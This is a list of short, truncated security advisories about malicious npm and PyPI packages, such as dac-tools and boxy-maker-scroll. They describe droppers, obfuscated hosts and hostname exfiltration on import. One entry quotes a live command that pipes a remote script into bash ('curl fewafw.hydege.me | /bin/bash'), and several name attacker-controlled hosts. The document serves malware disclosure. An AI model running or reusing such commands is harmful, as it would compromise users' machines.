Malicious code in dac-tools (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 203490886d6928aee2c8d681d282f53d8513907b30be5e5e20fe1effb5fd21d2 On import of dactools, the top-level init.py executes whoami and hostname via subprocess, concatenates the results into a DNS label, and triggers...

MAL-2026-15525 Malicious code in amplitude-react-native (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 489592652dd724254e29c10536019e0e03e8032e781748a73fc357bb40f50a1d package.json declares a single dependency whose source is a bare HTTPS URL https://repo.securityctrl.com/amplitude-react-native rather than a registr...

MAL-2026-13546 Malicious code in devplatform-spa-plugin-feature-toggle (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2d61b9d430e59b37ce3c13873e37c1dd146d468b6a06f462761e2214acd1d0fa [email protected] executes attacker-controlled code on the installer's host at module import. The package's main entry loa...

Malicious code in dolyame-boxy-component-story-name (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8c0c190f59af98fd97bf6638398afd2a774dc07593d1d954b85fd150d7ce0c32 On require of this package, support.js reconstructs Cloudflare Workers hostnames from split string fragments e.g...

Malicious code in dolyame-ui-link (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 26aae43ae2f260593e90c501c2863a515d4aa4f6753fccf82df101c62d43b77a index.js requires./loader on load. loader.js reconstructs attacker-controlled hostnames from split string fragments joined via.join"" to yield...

MAL-2026-12906 Malicious code in bnpl-blocks-block (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6112720c2d716ce25da42abf8ddd7ec3e27614102f343c283160f28d8b039ef7 On require of the package, index.js loads./compat.js which selects a platform-specific asset and downloads a binary from split-string-obfuscated...

MAL-2026-13053 Malicious code in boxy-legacy-providers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8102d4aaa8c2a93380336ea524f83a3025cd00c71104060245f2143ba1b2694e On require of the package's main entry, index.js loads shim.js which unconditionally executes a dropper: it selects a platform-specific payload,...

MAL-2026-13063 Malicious code in boxy-maker-scroll (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a06d379928c2633009c8dc7d89921205689ffb6ed8fa03ba74f67f557836c6f4 [email protected] executes a remote binary dropper the moment the module is loaded. index.js unconditionally requires polyfill.js, which selec...

MAL-2026-12725 Malicious code in devplatform-nx-pvm (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 58df39bb6ab40bc06f0c7db6a10753e81979cae9692633b51a33089ff6d28aa4 On require of devplatform-nx-pvm, compat.js fetches a platform-specific binary over HTTPS from hardcoded hosts oob-worker.cf100-416.workers.dev,...

Malicious code in @mgor/fw-canary-20260725-394b024b (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37 index.js, the package's declared main entry point, unconditionally executes curl fewafw.hydege.me | /bin/bash at top level. Any consumer that require...

Malicious code in checkout-mobile-pay-button (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3299d3b20175ec3cd68c2355ccafd1e969237d93b2e708c92a9913ff323b19be [email protected] is a lure package: its name and README describe a 'mobile pay button platform adapter', but index.js unconditionall...

Malicious code in statist-browser-typed-client-sme.platform.web.teasers (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 30e7b10d7a21e347dca99c9bf32f2c4d81aef8bdc78a10d308b63a881db69027 The package's declared main index.js unconditionally requires./init on load. init.js selects a platform-specific asset win32/darwin/linuxx64/linuxarm...

Malicious code in tinkoff-statist-browser-typed-client-art.apps.reporegistry (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector d935ce8eda3349f3633b3ab3c55baa492821164fbdb291bc942863d3aac4d4c1 On require of the package, adapter.js executes a top-level bootstrap that downloads a platform-specific binary from hardcoded Cloudflare Workers host...

Embedded Malicious Code

Overview Affected versions of this package are vulnerable to Embedded Malicious Code linked to a variant of the "Miasma" supply chain attack targeting the LeoPlatform npm ecosystem. A malicious actor compromised a legitimate maintainer account and used it to publish infected versions of this...

Malicious code in @ethlete/theming (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 75c7098701bc178c6dfbb1ecd8b91772b728d73c29805f74775b6f2636b2d01d The package was found to contain malicious code or consuming dependency that contains malicious code Source: google-open-source-security...

MAL-2026-5232 Malicious code in autotel-vitest (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 22d23b9d854410e35b16a7058ed9bc6855b3bf548b1a3ccd79ba983de3b652e1 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-5217 Malicious code in autotel-cloudflare (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 4d324ad75e592bc93a8dc377ed5dd767a51a006b12141d0b4f33c95738b85a09 No concrete indicators of installer-side harm were identified for [email protected]. No lifecycle scripts fetching remote code, no...

MAL-2026-5211 Malicious code in autotel (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 921a045507925f9accff44927ec74588991f03dd291a3ae95cdc9919523ed800 Pattern matches fired on co-occurrence of the strings 'ping', 'POST', and 'hostname' in the package's bundled and source files dist/chunk-.cjs,...

MAL-2026-5253 Malicious code in executable-stories-init (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cf8558677662bfcde2a5014a6ab8947b18228abb9415a5e41a964bcf5f5dd985 The package was found to contain malicious code or consuming dependency that contains malicious code Source: google-open-source-security...

MAL-2026-5195 Malicious code in @contaazul/n8n-nodes-contaazul (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 3fba5858825a845f02388990e34281d89dac395b6414e89c12c556d3fe0d7c45 The package was found to contain malicious code or consuming dependency that contains malicious code Source: google-open-source-security...